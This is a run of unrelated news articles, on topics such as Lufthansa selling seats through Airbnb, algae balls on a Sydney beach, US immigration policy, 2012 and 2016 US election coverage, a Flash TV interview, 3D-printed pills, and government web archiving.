Lufthansa isn’t just being cute by tapping the Airbnb platform. It’s trying to fill its planes.
Last week (July 20), the German airline lowered its profit expectations for 2016, saying it would likely earn less than the year before. ”Advance bookings, especially on long-haul routes to Europe, have declined significantly, in particular due to repeated terrorist attacks in Europe and to greater political and economic uncertainty since the original forecast was made in March,” the airline said.
Airlines have benefitted from cheap fuel this year, and as their biggest variable cost fell, many added seats and flights. But that strategy is backfiring now as demand drops, and the result is an airfare war between airlines and flights that are the cheapest they’ve been in years.
It’s the first time an airline has listed flights on the room-and-home-rental site, according to Airbnb, though Dutch airline KLM has previously offered a night on a grounded jet at Amsterdam’s Schiphol airport.
Rental has four bathrooms, but lots of competition for them.
Just to give an idea of how new this concept is, Lufthansa had to check all the boxes that a regular room or apartment renter would have to check. The airline says its accommodations include heating and air conditioning and a “couch” (it’s really a seat), but the carrier makes a note that it offers no washer, indoor fireplace, doorman, iron or other amenities.
Even if it started as an experiment, Lufthansa using Airbnb to sell plane seats has a real chance of catching on. The site is likely to see more business-traveler traffic in the near future, and that’s exactly the clientele that airlines are after.Surfers and beachgoers at a northern Sydney suburb, Dee Why's beach, were left stunned at the sight of a number of green, sponge-like spheres, which washed ashore.
I didn’t want to touch one because you never know what can sting you on the beach, but I did poke it with my toes and it’s squishy, like a sponge. They look like alien eggs or something. - RaeMaree Hutton, Dee Why, Surf Life Saving Club’s patrol member
RaeMaree Hutton, Dee Why Surf Life Saving Club's patrol member told The Manly Daily:
"I didn't want to touch one because you never know what can sting you on the beach, but I did poke it with my toes and it's squishy, like a sponge. They look like alien eggs or something."
Local resident, Jenny Zhang, further added: "About three days ago, there were a few egg-shaped balls but then today, they were much bigger and everywhere on the beach.
While locals in Dee Why explored extra-terrestrial origins, scientists clarify that the sponge-like spheres are in fact seaweed that cluster together in the form of an egg to protect themselves from predators.
Alistair Poore, Associate Professor from the School of Biological, Earth and Environmental Sciences at the University of New South Wales in Sydney says the balls could be a rare type of living green algae.
"I've seen similar things - sometimes dead sea grass can roll around and form balls like underwater tumbleweeds but that's made of dead material and these look to be living. It is a habit known as "aegagropilious", where the algae is free living (not on rocks) and forms into spherical balls."
Last month, bioluminescent creatures lit up Sydney's Manly Beach's waves giving a rare sight to photographers and Newport residents.As Center for Community Change’s Thomas Kennedy writes, the U.S. offers few and extremely narrow routes for people outside the U.S. seeking to gain residency here: “employment, family reunification or humanitarian protection. All three of these categories are highly regulated with limits on the number of people who can obtain the status.” And none of these categories are feasible for undocumented immigrants already here.
The fact is that for undocumented immigrants who have been in the U.S. for years and have minors who cannot sponsor them for years to come—“the child must first be 21 years of age or older, and the undocumented parent would still have to get into the long family-based immigration lines,” notes America’s Voice—there are no options. Even marriage to a U.S. citizen doesn’t guarantee anything:
A person could marry a US citizen, but this does not necessarily lead to legal status either. As we explained here, an undocumented person who seeks legalization by marriage must leave the US first and return to their country of origin. But once they identify themselves as undocumented and leave, they trigger a ban — that can last up to 10 years — during which they cannot reenter the country. There are ways around this ban, but only for a select group of people.
Imaging having to leave your family and everything you’ve built in this country for a decade or more, and facing the very real possibility of maybe not being able to return at all. Kennedy:
The immigration system in the United States does not offer “a line” for aspiring undocumented immigrants so they can begin the process of becoming U.S. citizens. People like my parents and millions of other immigrants spend years, sometimes decades in the shadows waiting for common sense immigration reform that will allow them to lead normal lives without the fear of deportation. Instead of telling immigrants to “get in line,” we should focus on creating that line and providing a fair process for immigrants to come into this country.
The closest we’ve gotten to finally passing comprehensive immigration reform was 2013, when the Senate actually did some work and passed a bipartisan compromise that would have allowed undocumented immigrants to pay a fine, any back taxes they owed (they already pay $12 billion annually), and get in the back of the line after passing a background check in exchange for provisional legal status and a 13-year path to citizenship. But that was blocked by former Speaker John Boehner and House Republicans.
“If we want undocumented immigrants to come out of the shadows, go through background checks, and seek legal employment, we should focus on actually creating ‘the line,’” writes immigrant rights activist Julissa Arce. “The question shouldn't be, why don't [undocumented immigrants] get in the line, the question we should be asking ourselves is, when are we going to create the line?” And that’s what we should be focusing on: allowing undocumented families to finally become a part of this country on paper, rather than building useless and expensive walls that will do nothing to make America safer or solve our broken immigration system.“Good Ol’ Charlie Brown. … How I hate him!,” the punch line of the very first Peanuts strip, works as a tart summation of Schulz and Peanuts, David Michaelis’ new biography of Charles Schulz, if we take creation for creator. Schulz was the sole shaper of Peanuts and one of the wealthiest and most widely read artists who |
Obama’s charisma and idealism, but to his authentic ability to connect with young voters.
“You could tell he genuinely cared about our generation and was really focused on the future of this country and what kind of legacy he would make sure to leave for us,” says Marshall, who grew up in West Chester, Ohio, where House Speaker John Boehner resides. She is the lone Democrat in a family of Republicans.
After graduating from college during the peak of the recession, Marshall moved back home, unable to find a job. Two years later, she still lives in her mother’s basement.
Marshall is not unlike the legions of other 20-somethings who have fallen on hard times since demonstrating a historic show of support during Obama’s 2008 presidential campaign
But as so many recent graduates struggle with joblessness, student loan debt and a frustration with what some describe as Obama’s unfulfilled promise of change, it is unclear whether the president will be able to resurrect the magic that inspired a generation of young people to pay attention to the political process and to stand behind him.
“I think Obama cracked the code in 2008 in terms of how to engage young people -- he spoke in an inspiring way, he used technology to his benefit, he disproved conventional wisdom,” says Matthew Segal, the 25-year-old founder of Our Time, a national membership organization for young Americans under 30.
“This time around, he’s running as an incumbent who’s confronting many stark realities in terms of what’s possible,” says Segal, who advises that pragmatism might be substituted for hope and change. To win over young voters, Segal says Obama would do well to work harder at bolstering the number of jobs available for 20-somethings.
In November of 2008, about 15 million first-time voters participated in the election. Of these, more than half were between the ages of 18 and 24. And according to a Pew report on the millennial generation, voters between the ages of 18 to 29 supported Obama by a ratio of more than two to one.
Provided they show up to vote, voters under 30 will likely be a prime constituency to watch during next year’s election. By 2012, according to U.S. Census data, 61 percent of millennials will have reached voting age -- meaning that one out of every four potential voters, or 24 percent of the electorate, will have been born after 1980.
“Obama’s challenge for 2012 is not one of persuasion. Obama’s challenge is to see how close he can come to the level of energy and enthusiasm that millennials showed him in 2008 -- specifically, in getting them out to vote,” says Morley Winograd, the coauthor with Michael D. Hais of the forthcoming book, “Millennial Momentum: How A New Generation Is Remaking America.”
Winograd and Hais report that millennials tend to support Democrats more than two-thirds of the time. And while such tendencies are often seen as a passing phase, both men predict the left-leaning orientation is likely to continue through the young generation’s lifespan.
In job approval polls, younger Americans tend to view Obama more favorably than the rest of the population. A survey conducted by Harvard University’s Institute of Politics found that 55 percent of 18- to 29-year-olds approve of the job he’s doing. And recently, when the Pew Research Center asked whether individuals would reelect Obama in 2012, 53 percent of young people preferred him to a Republican candidate.
Since last week's killing of Osama bin Laden, Obama’s approval ratings have surged. Both Winograd and Hais predict that bin Laden’s death will have a powerful impact on young voters in particular. “It’s a redemption of the promise to millennials that he could be a hero and slay the generation’s villain,” says Winograd.
But even heroism is a hard sell in a harsh economic climate. And 20-somethings have been especially hard-hit by widespread underutilization.
The Harvard Institute of Politics poll reported that jobs and the economy remain an overwhelming worry for those under 30.
Biko Baker, the 32-year-old executive director of the League of Young Voters Education, which works with low-income and non-college youth, says it’s of particular concern for young people of color. According to the U.S. Bureau of Labor Statistics, as many as half of black Americans under 24 are out of work. Baker predicts that jobs, or a lack of jobs, will be a huge issue for the communities he serves.
Matt Singer, the 28-year-old executive director of The Bus Federation, which works to mobilize young voters, attested to a general lack of optimism among the 20-somethings he encounters. “Young people are bummed out right now. The economy is tough. Unemployment is high, but for young people it’s even higher.”
For Kristen Soltis, a 27-year-old director of policy research at the Winston Group, a conservative polling firm based in Washington, D.C., also sees Obama’s challenge with young people as boiling down to jobs, jobs and more jobs. “As long as their peers are having a tough time finding work or are up to their eyeballs in debt and not sure a college degree is really worth the investment, Obama is going to have a tough time of it,” she said.
The president's reception may be especially chilly during the ongoing commencement season, as he speaks before large numbers of young graduates entering a weak job market. Soltis said she sees such speeches by Obama and other candidates -- she cited former Utah Gov. Jon Huntsman’s weekend address at the University of South Carolina -- as early trial runs of upcoming campaign rhetoric.
College students and recent graduates comprise a new coalition of young people who in many cases weren’t yet old enough to vote four years ago. “Obama’s going to have to find ways to see if he can rework his magic with this new generation,” says Soltis. “And his challenge is, how do you run as the change candidate if you’re the incumbent?”
For its part, the White House recently announced the establishment of youth roundtables to connect young Americans with members of the Obama administration.
“We wanted to bring back the commitment we made on the campaign trail that every young person should have an opportunity to speak openly and directly with a member of the administration,” says Kalpen Modi, the associate director of the Office of Public Engagement who oversees the youth roundtables.
Since the initiative launched in February, more than 297 roundtables have been registered. So far, 180 roundtables, mostly comprised of small groups, have convened and the administration has participated in 56 of them. The roundtables have covered issues including climate change and the cost of education as well as jobs and the economy.
Two weeks ago, Sam Vaghar, 24, participated in one such roundtable. The roundtable brought back memories of 2008. “Any campus you were on or any young person you talked to, there was this energy, this enthusiasm for our future,” says Vaghar. “We’ve sort of lost some of that.”
Vaghar co-founded the Millennium Campus Network, which works to combat global poverty. He called the roundtables a smart move by the administration to make young people feel like “we aren’t being talked at, but listened to."
Back in West Chester, Ohio, Rachel Marshall seems eager for someone to listen.
Marshall worked in a coffee shop for nearly a year before landing a job at a local law firm, where she currently works as an administrative assistant. The job pays $11 an hour and doesn’t require a college degree.
Between repaying $30,000 in school loans, not to mention making her monthly car and cellphone payments, Marshall plans on to continuing to live rent-free in her mother’s basement until she can scrape together enough money to afford her own place.
Marshall said she understands that political change can be slow to happen. And despite her frustration, she plans on supporting Obama’s reelection next fall.
But among her peers, Marshall predicts his candidacy will likely be a tougher sell this time around.Metro Manila (CNN Philippines) — A marine general and veteran of the Mindanao conflict is going to run the Bureau of Corrections (BuCor), Justice Secretary Vitaliano Aguirre II said Thursday.
Maj. Gen. Alexander Balutan will leave the service ahead of his scheduled retirement in October to start work on August 1. He will replace Ricardo Rainier Cruz III, a retired army general.
Aguirre said Balutan, who belongs to the 1983 class of the Philippine Military Academy, volunteered to retire early in order to accept President Rodrigo Duterte’s appointment as Director General of the BuCor.
Aguirre said he recommended the marine general for the job due to his track record of showing strong resolve and making quick and steadfast decisions.
In 2000, Balutan led Philippine Marines in the bloody conflict in Central Mindanao when government troops dislodged Moro Islamic Liberation Front guerrillas from their strongholds.
Balutan testified in Senate investigations as a witness to alleged fraud during the 2004 presidential elections won by Gloria Macapagal Arroyo.
He was charged before a court martial for disobedience for attending the Senate probe without authorization from Malacanang. The case against him was dismissed after a two-year prescription period had lapsed.
Watch: Army uses detectors, finds guns in BilibidRomney's Auto Bailout Stance Complicates Campaign In Battleground Ohio
Enlarge this image toggle caption Mark Stahl/AP Mark Stahl/AP
The auto industry is big business in Ohio. Billions of dollars' worth of cars and auto parts are made in the state each year. Thousands of unionized auto workers live in Ohio, as do the business owners and employees who make it one of the top auto parts suppliers in the nation.
So, the auto bailout is a hot issue — and a complicated one.
For Republicans in Ohio, the bailout is a tough issue — perhaps because of Mitt Romney's initial stance, or perhaps because of the consensus that the bailout worked.
But the Romney campaign has started to address the bailout and has put out an ad in Ohio that mentions the closure of General Motors dealerships in the bailout.
The ad features a northeast Ohio dealer who says his business closed after GM suspended his credit line in 2009. But the ad was rated "half true" by PolitiFact because it's unclear whether the dealership was closed because of the bailout or because of a closure plan GM had put into place before that.
For a while, Romney's position on the bailout has been a topic of discussion in Ohio. In 2008, he wrote an op-ed that's become well-known for its headline: "Let Detroit Go Bankrupt."
And for years after, it was widely reported that Romney opposed the bailout.
But then this year, it appeared Romney's stance on the bailout shifted.
In an interview with Romney on May 4, the day before President Obama was preparing to launch his official re-election campaign at Ohio State University, Romney said that he had indeed backed the bailout because he had pushed for managed bankruptcy, which he says was necessary for the automakers to come back.
Question:
"The bailout of the American automakers is a big deal here in Ohio; it's likely to come up tomorrow when President Obama is here at Ohio State. You wrote in an op-ed in February that the bailout was — quoting here — 'crony capitalism on a grand scale.' But your spokesman said that your position — I'm quoting him here — 'was exactly what President Obama followed, and it infuriates them to hear that.' Can you clarify your position on the automakers' bailout?"
Romney:
"Well, it's pretty straightforward because before President Obama was even president, back in November when there was a discussion about writing a check to the auto industry or having them go bankrupt, I said they must go bankrupt. That's the only way to get them back on their feet — if they're in trouble, they need to go through bankruptcy. And the Obama administration stalled for about six months and finally came to that conclusion. The companies went through bankruptcy. Now they're back on their feet. That was the right course — it was the course that I fought for."
President Obama's campaign hasn't made a standalone ad for Ohio about the bailout, but has included it in ads addressing the economy, like this one.
The auto industry, however, has come up in the campaign of one of Obama's chief backers, Sen. Sherrod Brown. The incumbent Democrat is waging an expensive battle for re-election. He's in an ad that looks like a car commercial, talking about how he and the Buckeye-built Chevy Cruze in the ad with him are "both from Ohio."
Critics have noted that his automotive co-star has wheels that actually aren't "from Ohio." But the Brown campaign says that doesn't distract from the message.
And in the Senate race, Brown's Republican challenger, Josh Mandel, largely has been avoiding the bailout issue. He has said he had his own plan to bring back the auto industry, but hasn't addressed that in any ads. And he's actively avoided answering questions about his thoughts on the bailout — sometimes awkwardly.
Karen Kasler is chief of the Statehouse News Bureau for Ohio Public Radio and Television.0
When The Flash returns for Season 3 on The CW on October 4th, everything will be different, as Flashpoint takes effect. After defeating Zoom, Barry Allen (Grant Gustin) made a decision to speed back in time to the night his mother died to stop Reverse Flash from killing her, changing everything in his world. And while that decision brought him the life he’s always dreamed of with his parents, the ripple effect that he’s created seems to have, irrevocably changed his past and redetermined his future.
At The CW portion of the TCA Summer Press Tour, executive producer/writer Aaron Helbing sat down with Collider for this exclusive interview about where things are headed for Season 3, the plan for a lighter tone, the consequences of the Flashpoint universe, this season’s big bads, the WestAllen relationship, and Kid Flash. Be aware that there are some spoilers.
Collider: After how dark things got in Season 2, what can you say about the story you’re telling in Season 3 and where things are headed?
AARON HELBING: Well, Zoom was a really, really dark character. When we introduced his backstory in Episode 218, you instantly understood why he was the way he was, having his mom murdered in front of him. It’s interesting because we got to explore what could have happened to Barry, had Joe not been there, had Iris not been there, and had love not been there. So, yeah, we went to a dark place. This season, we definitely plan on having a lighter tone. Evil is still out there, so you still have to respect that. I don’t think it will be as dark as Zoom. When we meet Barry, he’s living with his parents. I feel like this has been a moment that Barry has been wanting since his mother was taken from him. Who wouldn’t want that? And then, Zoom took his dad last season. So, when you meet him, you see this happiness. He finally is having the life that he’s always wanted, but there’s always a give and take to everything. While he has his parents, he doesn’t have Joe in his life. He didn’t grow up with Joe as a foster father. He didn’t grow up with Iris right there, getting to see her every day. He knew her from grade school, but they didn’t have the same relationship. Those are big differences. He didn’t go to S.T.A.R. Labs and have Cisco and Caitlin and Dr. Wells. These are adjustments that he has to get used to. But, being with his parents overshadows everything.
Will it affect Barry Allen mentally when he realizes just what he’s done?
HELBING: As we explore the Flashpoint universe, he’ll realize that there are consequences to the choices that he made, and he has to deal with those consequences. Every time you make a choice, it can go A or B. And when you make that big of a choice to go back in time, 15 or 16 years, and stop Reverse Flash from killing your mom, there are going to be gigantic ramifications because of that. So, I think Barry is aware of that.
Reverse Flash is going to be taunting Barry for the choices that he’s made. Was it fun to have him come back and make Barry face what he did?
HELBING: Yeah. And when you have someone the caliber of actor that Matt Letscher is, and he’s such a nemesis, he loves it. He hates The Flash. When you look at the history of Reverse Flash in the comic books, he was obsessed with The Flash and wanted to become The Flash, but he couldn’t. He became so obsessed with The Flash that he had to become better than him, or that’s what he thinks. His entire mission in life is making Barry Allen’s life a living hell, even just where Reverse Flash is, being able to taunt Barry as much as he can. He’s just going to say whatever. It’s like, “You’ve got me, but I still hate you and I’m going to do everything I can to make you miserable and to make you believe that the action that you took was catastrophic.”
What can you say about the big bads you have this season and what Barry is facing?
HELBING: I’m really excited about Doctor Alchemy because we haven’t had someone who’s an alchemist. He can take X and turn it into Y. That mirrors what happened with Barry when Barry was just this normal CSI who was happy go lucky, and then he got struck by lightening with the dark matter from the Particle Accelerator. That was almost a form of alchemy, where it changed him into The Flash. We can really explore alchemy, in that manner of being able to take X and turn it into Y, and see how that mirrors what actually happened to The Flash and all of the meta-humans in Central City. We’re going to have a speedster, as well. Savitar is an evil speedster.
Where are things at between Barry and Iris?
HELBING: In the Flashpoint universe, he hasn’t really grown up with her. They’re essentially strangers. She’s someone he used to know, and he’s someone she used to know, back in the day in grade school. It’s exciting because it’s like, “Oh, this is what would have happened, had Reverse Flash not done this and had Barry not become The Flash. He would have been a normal guy, nervous about going up to a pretty girl that he’s had a crush on forever, and get to know her and try to have a relationship with her.” For us, that’s really exciting because we get to explore that.
Is there anything you would say to reassure the WestAllen fans who are nervous about the Flashpoint storyline?
HELBING: Barry Allen and Iris West are an iconic relationship. We set it up, at the end of Season 2, that they were going to get together, and then he undid it. But, these two are destined to be together. I would say to keep watching. As with destiny, things end up playing out the way you hoped they would.
What can you say about Kid Flash and how he’ll be different from other speedsters?
HELBING: The thing about Wally West, and the way we set him up in Season 2, is that he has this need for speed with the drag racing. That’s in his DNA. Even when he stopped drag racing, he’s an engineer who’s trying to design and develop turbo-powered, fast cars. Those aspects are always going to be in his DNA, and he’s always going to want to go as fast as he can. So, when you meet him in Flashpoint, he is The Flash. He’s Kid Flash, but he’s The Flash. He’s a speedster who just wants to do the right thing, but he also is gonna do it his way.
How challenging is it to explore so many different speedsters, and make sure that they’re all different with their own personalities?
HELBING: To me, it’s no different than when you create a new character. They’re still real people at the core, so we dive in and explore who the person is, deep down. The way we explored Zoom was that we dove into who he is and what causes someone to become evil like that and how we can play that. So, with Zoom, we mirrored what happened to Barry’s parents and what happened to Hunter’s parents. That’s really at the heart. We always want to get underneath the character and look at them as real people. They don’t know they’re on a television show. (Executive Producer) Andrew [Kreisberg] says that, all the time. These characters don’t think they’re on The Flash TV series. These are living, breathing characters. So, we have to make sure that we do them justice and bring them to life, the best way that we can.
What is the dynamic between Cisco and Caitlin like now?
HELBING: Cisco is a bit different. The thing about Flashpoint is that, because of these actions, the reality of the world is different. There are different circumstances that create different relationships, and they just weren’t there. I love their dynamic. I love the way Caitlin and Cisco are a pair, and I don’t feel like we’ll lose that feeling.
The Flash returns for Season 3 on The CW on October 4th.Drug-infused polymers have different profiles for customised release rates and dosages
Those suffering from ailments such as arthritis, asthma and peptic ulcers will welcome the promise of a personalised pill devised by NUS researchers. Their delivery method releases drugs at different dosages and release rates, simplifying otherwise complicated treatment plans. Among those who would benefit from this system are people requiring drug release in pulses, as is the case with hormones, which need to be in sync with the biological processes of the human body.
“For a long time, personalised medicine has been a mere concept as it was far too complex or expensive to be realised,” said NUS Chemical and Biomolecular Engineering Assistant Professor Soh Siow Ling. He developed the tablet fabrication method together with PhD student Ms Sun Yajuan.
Ms Sun (left) and Asst Prof Soh devised a delivery method that uses a 3D printer to create drug-infused polymers of many profiles
Asst Prof Soh explained that the new method is technically simple, relatively inexpensive and versatile. “It can be applied at individualised settings where physicians could produce customised pills on the spot for patients, or in mass production settings by pharmaceutical companies,” he added.
The doctor or pharmacist draws a desired release profile in design software, which then instructs a three-dimensional (3D) printer to fashion a mould for the drug. This mould shapes drug-infused polymers of specific release profiles, which are placed into an impermeable casing. A solution of surface-eroding polymer, which solidifies when cured under UV light, fills the gaps in between. This fully customisable system can create templates for any release profile.
Graphical elements were extracted from “Printing Tablets with Fully Customizable Release Profiles for Personalized Medicine”, Advanced Materials. Copyright © 2015 by John Wiley & Sons, Inc.
Printing moulds versus tablets mitigates some of the issues inherent in the existing method of layer-by-layer printing of drugs. These limitations include low dosages, non-continuous release profiles and poor durability of the tablet given its quick breakdown. The NUS approach also negates the need for complex math or computer algorithms to construct tablets of different geometries, enabling the fabrication of more complex profiles.
In the future, clinics, pharmacies and hospitals could deploy this cost-effective method due to its simplicity and affordability, said the researchers. It utilises commercial 3D printers, technology that is becoming increasingly affordable, and cost-effective materials.
The NUS team is in talks with a multinational corporation to commercialise its invention. It is also investigating the possibility of combining different polymer-based components for improved effectiveness.
See press release.Share
” id=”attachment_627499″] According to The Washington Post, a government computer glitch is the reason why some Pennsylvania residents are receiving letters requesting that any males born between 1893 and 1897 register for the U.S. military draft.
Letters were sent out to roughly 14,000 men in Pennsylvnia, after a problem occurred during a “routine automated data transfer” between the state of Pennsylvania, and the Selective Service. The agency acknowledged the problem on its official website, and issued an apology as well.
“Selective Service apologizes for a June 30, 2014 mailing to 14,215 Pennsylvania men reminding them that they should register,” an official Selective Service System notice reads.”
Fortunately, the people don’t have to take any action to correct this error, and are free to toss it away with no fear of repercussions.
These military draft letters apply to Pennsylvanian men who are over 115 years old.
Though registration for the Selective Service is mandatory (you can be fined and imprisoned if you refuse to sign up), the draft has not been used to raise an army here in the U.S. since the Vietnam War, which ended in 1975.It’s the end of the work week and Reuters/Ipsos has some pretty bad news for the Trump campaign. From Reuters:
The June 20-24 poll showed that 46.6 percent of likely American voters supported Clinton while 33.3 percent supported Trump. Another 20.1 percent said they would support neither candidate. Trump had enjoyed a brief boost in support following the June 12 mass shooting in Orlando, Florida, as he doubled down on his pledge to ban Muslims from entering the country, cutting Clinton’s lead to nine points… Clinton’s 13.3 percentage point lead is about the same as she had before the Orlando attack.
So it seems whatever boost Trump got from people concerned about terrorism after the Orlando attack is gone, at least according to this poll. It’s fair to wonder how much of that decline is the result of people no longer being concerned and how much the result of the push by progressives to categorize this as something other than a terrorist attack.
Polling shows a majority of Democrats see the killing as an incident of gun violence rather than of terrorism. The Democrats focus on gun control, including a sit-in on the House floor this week, certainly reinforces that alternative narrative.
In addition there have been claims the shooter was not motivated by radical Islam at all but by some personal issue with his hatred of gays or his own sexuality. The FBI poured cold water on those claims yesterday but the idea that this wasn’t really (or perhaps not primarily) a terrorist attack seems to linger in many minds.
The Real Clear Politics average of polls, which doesn’t yet include this result, shows Clinton leading Trump nationally by 5.9 points.President Trump Donald John TrumpREAD: Cohen testimony alleges Trump knew Stone talked with WikiLeaks about DNC emails Trump urges North Korea to denuclearize ahead of summit Venezuela's Maduro says he fears 'bad' people around Trump MORE is scrambling for a win as he heads into the fall buffeted by hostile winds.
Trump badly needs a victory on tax reform after a third attempt by Congressional Republicans to dismantle the Affordable Care Act, also known as ObamaCare, failed.
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The president suffered an additional political embarrassment on Tuesday when the candidate he endorsed, incumbent Sen. Luther Strange Luther Johnson StrangeDomestic influence campaigns borrow from Russia’s playbook Overnight Defense: Senate bucks Trump with Yemen war vote, resolution calling crown prince'responsible' for Khashoggi killing | House briefing on Saudi Arabia fails to move needle | Inhofe casts doubt on Space Force Five things to watch in Mississippi Senate race MORE (R), lost a primary runoff in Alabama.
More broadly, special counsel Robert Mueller’s Russia investigation is a dark cloud on Trump’s political horizon.
And those Republicans who have long argued that he is unprepared for the job believe that their fears have been borne out, as months have passed by with little in the way of legislative accomplishments.
“He came into office, really, as a Republican in name only. He has no consistent ideology, no real policy proposals — other than building a wall, which is obviously not going to happen,” said Dan Judy, a GOP strategist who worked on Sen. Marco Rubio Marco Antonio RubioWhite House pleads with Senate GOP on emergency declaration Sixteen years later, let's finally heed the call of the 9/11 Commission Schumer urges GOP to reject Trump's 'destructive' national emergency MORE’s (R-Fla.) 2016 presidential campaign.
“As hard as Republicans in Congress tried, health care was not particularly popular and there was no kind of presidential leadership,” Judy added. “If Trump can’t get off Twitter and stop acting like a little boy, the same fate might befall tax reform.”
People have underestimated Trump’s political abilities many times before, however.
His approval ratings have ticked up somewhat since reaching a nadir last month.
His willingness to strike deals has also kept some critics wrong-footed.
His newly friendly relationship with “Chuck and Nancy,” as he has called Senate Minority Leader Charles Schumer Charles (Chuck) Ellis SchumerBrady gun control group gets rebranding Brennan fires back at'selfish' Trump over Harry Reid criticism Trump rips Harry Reid for 'failed career' after ex-Dem leader slams him in interview MORE (D-N.Y.) and House Minority Leader Nancy Pelosi (D-Calif.), has delivered an agreement on the debt ceiling and a vaguer concord on immigration.
Trump is also emerging from a period when the news agenda was dominated in part by hurricane season.
His administration’s response to destruction in Texas, Louisiana and Florida won praise even from some people normally critical of him. But the deepening crisis in Puerto Rico could overshadow those efforts.
Meanwhile, on the world stage, tensions with North Korea have burst into the open with unpredictable results.
Put it all together, and it is clear why so much is resting on the push for tax reform.
On Wednesday, Trump appeared in Indiana, seeking to make his case for a plan that includes a reduction in the corporate tax rate, a simplification of the income tax code, a reduction in the top rate of income tax and an abolition of the estate tax.
If that plan were enacted, he insisted, that would spark big economic gains. Trump noted that some of the changes would not be good for him as a billionaire but that he would reap political benefits if “everything takes off like a rocket ship.”
Brad Blakeman, a Republican strategist who served in President George W. Bush’s White House, said that he believes success on tax reform is “critical” for Trump.
He added, “I think it is an opportunity to get some bipartisan support. … There could be points put on the board by Democrats if they come over.”
Blakeman suggested that moderate Democrats running for reelection in states that Trump won last November would be the most amenable to appeals for bipartisanship. He cited Sens. Joe Manchin Joseph (Joe) ManchinThe Hill's Morning Report - Dems appear to have votes to counter Trump on emergency Border rebuke looms for Trump Trump claims Democrats ‘don’t mind executing babies after birth’ after blocked abortion bill MORE (D-W.Va.) and Heidi Heitkamp Mary (Heidi) Kathryn HeitkampOvernight Energy: Trump taps ex-oil lobbyist Bernhardt to lead Interior | Bernhardt slams Obama officials for agency's ethics issues | Head of major green group steps down Trump picks ex-oil lobbyist David Bernhardt for Interior secretary On The Money: Shutdown Day 27 | Trump fires back at Pelosi by canceling her foreign travel | Dems blast 'petty' move | Trump also cancels delegation to Davos | House votes to disapprove of Trump lifting Russia sanction MORE (D-N.D.) as examples.
But bipartisanship is far from guaranteed. Progressives have weighed in against Trump’s plan, calling it a giveaway to the rich. Sen. Bernie Sanders Bernard (Bernie) SandersSenate Dems seek to turn tables on GOP in climate change fight Bernie Sanders Town Hall finishes third in cable news race, draws 1.4 million viewers Woman to undecided Biden: 'Just say yes' to 2020 bid MORE (I-Vt.) described it in a statement as “morally repugnant.” Numerous outside liberal groups have cast it in similar terms.
Democratic strategist Hank Sheinkopf said that, as a general rule for Democrats, “the best route is not opposition, the best route is compromise — otherwise they can be blamed for what does not get accomplished.”
But Sheinkopf cautioned that theory doesn’t hold if Trump proposes things that are anathema to the liberal base.
“The problem here is that the issues they are being dealt are ones where they can only provide an oppositional response,” he said of Democrats. “For them to say yes to tax reforms that benefit only the wealthy would be terrible.”
The clock is ticking for Trump.
Theoretically, a win on tax reform could open the door for further progress on issues like infrastructure spending.
But there are only about 40 days left this year on the legislative calendar. Once that’s over, many lawmakers’ attention will turn to election season and the 2018 midterms.
“We are getting so close now to the 2018 campaign cycle that the window to get anything big done is closing very rapidly,” said Judy.
The question is how much Trump can squeeze through in the time that remains.
The Memo is a reported column by Niall Stanage, primarily focused on Donald Trump’s presidency.The End of Term Web Archiving drew in more attention from the media than any previous U.S. administration turnover since the project began in 2008 during the change from the Bush administration to the Obama administration. The potential loss of public access to billions of bytes of government data made people realize just how fragile the current structure of the internet is.
It also put the librarians and digital preservation under the spotlight. Some made comments that the intensive archiving was unnecessary, and that those involved were “all hysterical” and “being overly political,” Janz says, while others saw these stereotypical “old, frumpy” librarians as vigilantes, activists, hackers, and superheroes, Rabina says.
Suddenly, as more people became excited about the archiving, the work librarians had been doing forever “became sort of sexy and trendy, and you could call it different things like ‘rescue’ and ‘capture’ and ‘save’ and ‘Wonder Woman to the rescue,’” says Rabina. “I’m very tickled that all these hipsters now think that this is sexy work, but you know this is all a little mundane work sometimes. It’s like writing a lot of citations and footnotes.”
A quiet book-lined room full of librarians performing the task of archiving websites—URL by URL—may not have been the most riveting scene to onlookers, as Rabina describes. However, the duty of ensuring the longevity of digital information places a heavy burden on a small community.
At various data rescuing events across the U.S., volunteer librarians nominated and identified URLs they thought were at risk or were worth saving, including agency sites and social media posts. Then, the websites would be backed up in digital repositories hosted by various partner institutions such as the Internet Archive, the University of North Texas Libraries, and even the Library of Congress.
“We try not to feel too guilty of missing something,” says Abigail Grotke, a web archivist at the Library of Congress who also collaborated on the 2016 End Of Term Harvest. “We do the best we can with the resources we have.”
Abigail Grotke, a web archivist at the Library of Congress. Credit: Shawn Miller/animation by Brandon Echter
At the Library of Congress, archivists often revisit all kinds of websites on the internet over time using crawlers, or “spider” bots that move through the web and copy or scrape pages. The bots systematically visit sites and download content like a search engine, explains Grotke.
Crawling the web can sometimes be slow and tedious work. However, archiving some types of digital content brings about an air of urgency. Particular time sensitive events require web archiving, like the Olympics, government campaigns (sites that are notorious for being quickly removed or changed shortly after the election), and the end of term, Grotke explains.
“We know there's this sort of deadline over the inauguration when things are going to change,” Grotke says. “So there is a frenzy of activity to preserve in that time period.”
In the previous 2012 cycle, the End of Term Web Archive captured 3,247 websites and 21 terabytes of data. By the end of the 2016 harvest, 11,382 websites were nominated to be saved. The official numbers of what has been collected has yet to be released, but within just the Library of Congress, volunteers, librarians, and partners collected about 155 terabytes of government web content and data, Grotke estimates, while the Internet Archive worked on a related project storing 100 terabytes.
t’s still virtually impossible to get every bit of data, Grotke says. For instance, government websites alone host a lot of data (Janz estimates on the petabyte level at the very least), which puts the archivists at technical odds.
The web crawlers can’t collect certain kinds of data. Since the bots are programmed to crawl the web like a search engine, they encounter issues with forms that must be filled out, interactive pages, or streaming media, for instance.
Independent data rescuing projects like Data Refuge, by Penn Libraries and the Penn Program in the Environmental Humanities, assisted the End of Term Web Archive’s efforts. During Data Refuge’s events, “data rescuers” were able to nominate pieces that the End of Term Web Archive wouldn’t be able to get to or its crawler couldn’t pick up, Janz says.
Skilled data rescuers would download or “scrape” the data, where “they have to pull some kind of script to pull the data out of the site,” she explains.
“Nothing is very static on the web. So in order to capture changes in websites, we have to constantly try to archive it.”
Digital librarians also encounter challenges with privatized or closed content. Some social media and services like Facebook can’t be crawled easily, says Bailey. The Internet Archive does collect social media, but Facebook, in particular, “seemingly intentionally makes it challenging,” he says. Similarly, apps create highly blocked-off environments.
Bailey calls these kinds of sanctioned communities and content “walled gardens.” From a business standpoint, the walls are there for your personal protection and privacy, but it makes it difficult for archival practices. Our digital history may end up being a disjointed record of our culture as a result.
